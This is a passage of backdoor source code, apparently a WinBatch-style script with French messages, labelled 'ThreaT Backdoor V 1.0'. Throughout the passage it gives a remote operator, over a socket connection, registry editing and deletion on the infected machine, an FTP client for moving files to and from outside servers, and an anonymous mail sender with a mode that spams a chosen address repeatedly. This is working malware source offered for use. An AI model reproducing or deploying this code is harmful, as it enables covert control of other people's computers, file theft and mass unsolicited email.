(strkey,1,strscan(strkey,"\",strlen (strkey) - 1,@backscan)) else strkey=strcat (strkey,param2,"\") keyd=regopenkey (regkey,"%strkey%") if keyd != 0 regclosekey (key) regclosekey (keyd) key=regopenkey (regkey,"%strkey%") prpt=strcat ("%prptroot%\",strupper (strkey)) else ssendline (connexion,"Impossible de rentrer dans la clé specifiée") strkey=oldstrkey endif break case 4 if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : VIEWVAL %@crlf%") else type=regentrytype (key,"[%param2%]") val=regqueryex (regkey,"%strkey%[%param2%]",@tab,type) if type != 0 if type == 1 then ktype = "REG_SZ" if type == 2 then ktype = "REG_EXPAND_SZ" if type == 3 then ktype = "REG_BINARY" if type == 4 then ktype = "REG_DWORD" if type == 5 then ktype = "REG_DWORD_BIG_ENDIAN" if type == 6 then ktype = "REG_LINK" if type == 7 then ktype = "REG_MULTI_SZ" if type == 8 then ktype = "REG_RESOURCE_LIST" if type == 9 then ktype = "REG_FULL_RESOURCE_DESCRIPTOR" if type == 10 then ktype = "REG_RESOURCE_REQUIREMENTS_LIST" ssendline (connexion,strcat ("%@crlf%NOM : ",strupper(param2),"%@crlf%TYPE : ",ktype,"%@crlf%DONNEES : ",val,"%@crlf%")) else ssendline (connexion,"%@crlf%Le nom de la valeur que vous avez fournie est incorrect!%@crlf%") endif endif break case 5 if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : CREATEKEY %@crlf%") else regcreatekey (regkey,"%strkey%\%param2%") ssendline (connexion,"%@crlf%Creation de la clé %strkey%%param2%...%crlf%") endif break case 6 if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : DELKEY %@crlf%") else a=regdeletekey (regkey,"%strkey%%param2%") if a == 1 then ssendline (connexion,"%@crlf%La clé %strkey%%param2% a été supprimée!%crlf%") else ssendline (connexion,"%@crlf%Impossible de supprimé la clé %strkey%%param2%!") endif break case 7 if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : DELVAL %@crlf%") else a=regdelvalue (regkey,"%strkey%[%param2%]") if a == 1 then ssendline (connexion,"%@crlf%La valeur [%param2%] a été supprimée!%crlf%") else ssendline (connexion,"%@crlf%Impossible de supprimé la valeur [%param2%]!") endif break case 8 if !isdefined (param3) then param3 = 10 if param3 > 7 || param3 == 5 || param3 == 6 a="%@crlf%Syntaxe : CREATEVAL %@crlf%%@crlf%ou doit être un nombre correspondant aux valeurs decrites si dessous%@crlf%1 : REG_SZ%@crlf%2 : REG_EXPAND_SZ%@crlf%3 : REG_BINARY%@crlf%4 : REG_DWORD%@crlf%" b="7 : REG_MULTI_SZ%@crlf%" ssendline (connexion,strcat (a,b)) else a=regsetex (regkey,"%strkey%[%param2%]","",";",param3) if a == 1 then ssendline (connexion,"%@crlf%La valeur [%param2%] a été créée") else ssendline (connexion,"%@crlf%Impossible de créer la valeur [%param2%]") endif break case 9 if !isdefined (param3) ssendline (connexion,"%@crlf%Syntaxe : MODIFVAL %@crlf%%@crlf%Pour assigner plusieurs données à une REG_MULTI_SZ, utiliser la separation '|'%@crlf%exemple : MODIFVAL valeurtest aa|bb|cc") else type=regentrytype (key,"[%param2%]") if type != 0 a=regsetex (regkey,"%strkey%[%param2%]","%param3%","|",type) if a == 1 then ssendline (connexion,"%@crlf%La valeur a été modifier avec succès.") else ssendline (connexion,"%@crlf%Impossible de modifier la valeur avec les données indiquées!%@crlf%Verifiez que le type de valeur correspond bien à la donnée que vous essayez de lui assignée") else ssendline (connexion,"%@crlf%La valeur que vous avez indiquez n'existe pas.") endif endif endswitch return ;------- Fin de REGEDIT --------- case 23 ;------- Client FTP --------- ssendline (connexion,strcat ("%@crlf%FTP client for ThreaT Backdoor V 1.0%@crlf%",strfill ("#",36),@crlf)) host="" session="" type="A" if isdefined (param2) ftpflag = 2 gosub ftpview endif ssendstring (connexion,"%@crlf%%host%ftp> ") while @true ftpcmd=strlower (srecvline (connexion,500)) if wxGetLastErr() == @sok parsedata (ftpcmd) ftpflag = 0 if !isdefined (param1) then param1 = "ftpfoo" if param1 == "quit" then break if param1 == "?" then ftpflag = 1 if param1 == "connect" then ftpflag = 2 if param1 == "ls" || param1 == "dir" then ftpflag = 3 if param1 == "cd" then ftpflag = 4 if param1 == "pwd" then ftpflag = 6 if param1 == "quote" then ftpflag = 5 if param1 == "disconnect" then ftpflag = 7 if param1 == "type" || param1 == "bin" || param1 == "ascii" then ftpflag = 8 if param1 == "put" then ftpflag = 9 if param1 == "del" then ftpflag = 10 if param1 == "rename" || param1 =="ren" then ftpflag = 11 if param1 == "get" then ftpflag = 12 if param1 == "lcd" then ftpflag = 13 gosub ftpview ssendstring (connexion,"%@crlf%%host%ftp> ") endif endwhile if ftpclose (session) then ssendline (connexion,"%@crlf%Votre session FTP a été deconnectée!%@crlf%") ssendline (connexion,"Bye Bye!") break :ftpview switch ftpflag case 0 ssendline (connexion,"Commande incorrect, Tapez '?' pour afficher le jeu de commande disponibe") break case 1 a=strcat ("%@crlf%FTP Client for ThreaT Backdoor V 1.0%@crlf%",strfill ("-",36),"%@crlf%CONNECT : Ce connecter à un serveur%@crlf%LS ou DIR : afficher les fichiers et repertoires%@crlf%CD : Changer de repertoire%@crlf%") b="PWD : Affiche le repertoire courant%@crlf%LCD : Affiche ou change le repertoire courant de la machine local%@crlf%TYPE : Affiche quel est le mode de transfert de fichiers%@crlf%ASCII : Positionne le mode de transfert de fichiers en ascii" c="%@crlf%BIN : Positionne le mode de transfert de fichiers en binaire%@crlf%DEL : Effacer un fichier%@crlf%RENAME ou REN : Renomer un fichier%@crlf%QUOTE : Envoie une commande au serveur FTP%@crlf%" d="GET : Copie un fichier depuis le serveur FTP vers la machine local%@crlf%PUT : Envoye un fichier local sur le serveur FTP%@crlf%DISCONNECT : Deconnexion de la session en cours%@crlf%QUIT : Sortir de FTP" ssendline (connexion,strcat (a,b,c,d)) break case 2 if !isdefined (param2) ssendline (connexion,"Syntaxe : CONNECT ") else ssendstring (connexion,"User : ") while @true user=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Password : ") while @true password=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Tentative de connexion à %param2%...") session=ftpOpen(param2,user,password,"",1) if isnumber (session) ssendline (connexion,"OK!%@crlf%%@crlf%Vous êtes connecté à %param2% avec le compte %user%.%@crlf%%@crlf%") host=strcat (param2," : ") else ssendline (connexion,strcat ("Failed!",@crlf,session)) endif endif break case 3 if !isnumber (session) then goto errorsession if !isdefined (param2) then param2 = "" tmppath=filecreatetemp ("ftp") ftplist (session,param2,tmppath) spwn=fileopen (tmppath,"READ") if lasterror() == "1077" ssendline (connexion,"%@crlf%Une erreur de transmition est survenu...%@crlf%") break endif while @true for a = 1 to 20 shell = fileread (spwn) if shell == "*EOF*" then break ssendline (connexion, shell) next if shell == "*EOF*" then break ssendline (connexion, "%@crlf%-- Suite --") while @true x=srecvline (connexion,1) if wxGetLastErr() == @sok then break endwhile continue endwhile fileclose (spwn) filedelete (tmppath) break case 4 if !isnumber (session) then goto errorsession if !isdefined (param2) ssendline (connexion,"Syntaxe : CD ") else chd=ftpchdir (session,param2) if chd == "" then ssendline (connexion,"250 CWD command successful.") else ssendline (connexion,chd) endif break case 5 if !isnumber (session) then goto errorsession if !isdefined (param2) then ssendline (connexion,"Syntaxe : QUOTE ") else ssendline (connexion,ftpquote (session,param2)) break case 6 if !isnumber (session) then goto errorsession ssendline (connexion,ftpquote (session,"pwd")) break case 7 if !isnumber (session) then goto errorsession ftpclose (session) ssendline (connexion,"Disconnected!%@crlf%%@crlf%") host="" session="" break case 8 if !isnumber (session) then goto errorsession if param1 == "bin" then type = "B" if param1 == "ascii" then type = "A" if type == "A" then ssendline (connexion,"Using ASCII mode to transfer files.") if type == "B" then ssendline (connexion,"Using BINARY mode to transfer files.") break case 9 if !isnumber (session) then goto errorsession if isdefined (param3) then goto put ssendstring (connexion,"(local file) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"(remote file) : ") while @true param3=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :put ssendstring (connexion,"Transfert du fichier en mode %type%...") a=ftpput (session,param2,param3,type) if a == "" ssendline (connexion,"%@crlf%OK : Le transfert c'est effectué avec succès.") else if a == 0 then ssendline (connexion,"%@crlf%Erreur : Impossible de copier le fichier source vers la destination.") else ssendline (connexion,a) endif break case 10 if !isnumber (session) then goto errorsession if isdefined (param2) then goto ftpdel ssendstring (connexion,"(fichier à effacer) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :ftpdel a=ftpdelete (session,param2) if a == "" ssendline (connexion,"%param2% : Le fichier a été effacé avec succès!") else if a == 0 then ssendline (connexion,"Erreur : La suppression du fichier demandé est impossible.") else ssendline (connexion,a) endif break case 11 if !isnumber (session) then goto errorsession if isdefined (param3) then goto ftpren ssendstring (connexion,"(remote old-name) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"(remote new-name) : ") while @true param3=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :ftpren a=ftprename (session,param2,param3) if a == "" ssendline (connexion,"OK : %param2% a été renomé en %param3%.") else if a == 0 then ssendline (connexion,"Erreur : Impossible de renomer le fichier specifié!") else ssendline (connexion,a) endif break case 12 if !isnumber (session) then goto errorsession if isdefined (param3) then goto get ssendstring (connexion,"(remote file) : ") while @true param2=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"(local file) : ") while @true param3=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile :get ssendstring (connexion,"Telechargement du fichier en mode %type%...") a=ftpget (session,param2,param3,type) if a == "" ssendline (connexion,"%@crlf%OK : Le telechargement c'est effectué avec succès.") else if a == 0 then ssendline (connexion,"%@crlf%Erreur : Impossible de telecharger le fichier source vers la destination.") else ssendline (connexion,a) endif break case 13 if !isdefined (param2) param2 = dirget () ssendline (connexion,"%@crlf%Syntaxe : LCD ") endif aa=dirchange (param2) if aa != 1 then ssendline (connexion,"%@crlf%Impossible de changer de repertoire.") else ssendline (connexion,strcat ("%@crlf%Le repertoire local est : ",dirget())) break :errorsession ssendline (connexion,"Not connected.") endswitch return ;--- Fin du Client FTP --- case 24 ;--- Client SMTP Anonyme --- ssendline (connexion,strcat ("%@crlf%Anonymous Mail Sender for ThreaT Backdoor, V 0.3",@crlf,strfill ("-",48),@crlf)) nbrm=1 ssendstring (connexion,"%@crlf%SMTP> ") while @true smtpcmd=strlower (srecvline (connexion,500)) if wxGetLastErr() == @sok parsedata (smtpcmd) smtpflag = 0 if !isdefined (param1) then param1 = "smtpfoo" if param1 == "quit" then break if param1 == "?" then smtpflag = 1 if param1 == "send" || param1 == "spam" then smtpflag = 2 gosub smtpview ssendstring (connexion,"%@crlf%SMTP> ") endif endwhile break :smtpview switch smtpflag case 0 ssendline (connexion,"Type '?' for commands") break case 1 ssendline (connexion,strcat (@crlf,"AMS For ThreaT Backdoor V 0.3",@crlf,strfill ("-",29),@crlf)) a="SEND : Envoyer un mail simple%@crlf%SPAM : Mettre en place un mail qui seras envoyé plusieur fois.%@crlf%QUIT : Pour quitter%@crlf%" ssendline (connexion,a) break case 2 if param1 == "spam" then ssendline (connexion,strcat (@crlf,"Creation d'un Mail destiné à etre spamé!%@crlf%",strfill ("-",40),@crlf)) else ssendline (connexion,strcat (@crlf,"Creation d'un Mail simple%@crlf%",strfill ("-",25),@crlf)) ssendstring (connexion,"%@crlf%Serveur de mail : ") while @true serveur=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Email source : ") while @true source=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Email destination : ") while @true dest=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile ssendstring (connexion,"Sujet : ") while @true sujet=srecvline (connexion, 50) if wxgetlasterr() == @sok then break endwhile buffer=binaryalloc (10000) ssendstring (connexion,strcat ("%@crlf%Tapez votre texte et terminez par le signe 'point' >.<",@crlf,strfill ("-",54),@crlf)) while @true text=srecvline (connexion, 100) if wxgetlasterr() != @sok then continue if text == "." then break else binarypokestr (buffer,binaryeodget (buffer),strcat (text,@crlf)) endwhile if param1 == "spam" ssendstring (connexion,"%@crlf%Nombre de mail à envoyer : ") while @true nbrm=srecvline (connexion, 10) if wxgetlasterr() != @sok then continue if isnumber (nbrm) then break endwhile endif ssendstring (connexion,"%@crlf%") for i = 1 to nbrm ssendstring (connexion,"Envoye de %i% mail(s) à %serveur%...") smtpsendtext (serveur,source,dest,sujet,binarypeekstr (buffer,0,binaryeodget (buffer))) ssendstring (connexion,"ok%@cr%") next ssendline (connexion,"%@crlf%Terminé!%@crlf%") nbrm=1 drop (i) binaryfree (buffer) endswitch return ;--- Fin du Client SMTP --- endswitch return ---------------------------------------------------------[ EOF ]--------------------------------------------------------- ! @ ~ ++ No carrier ++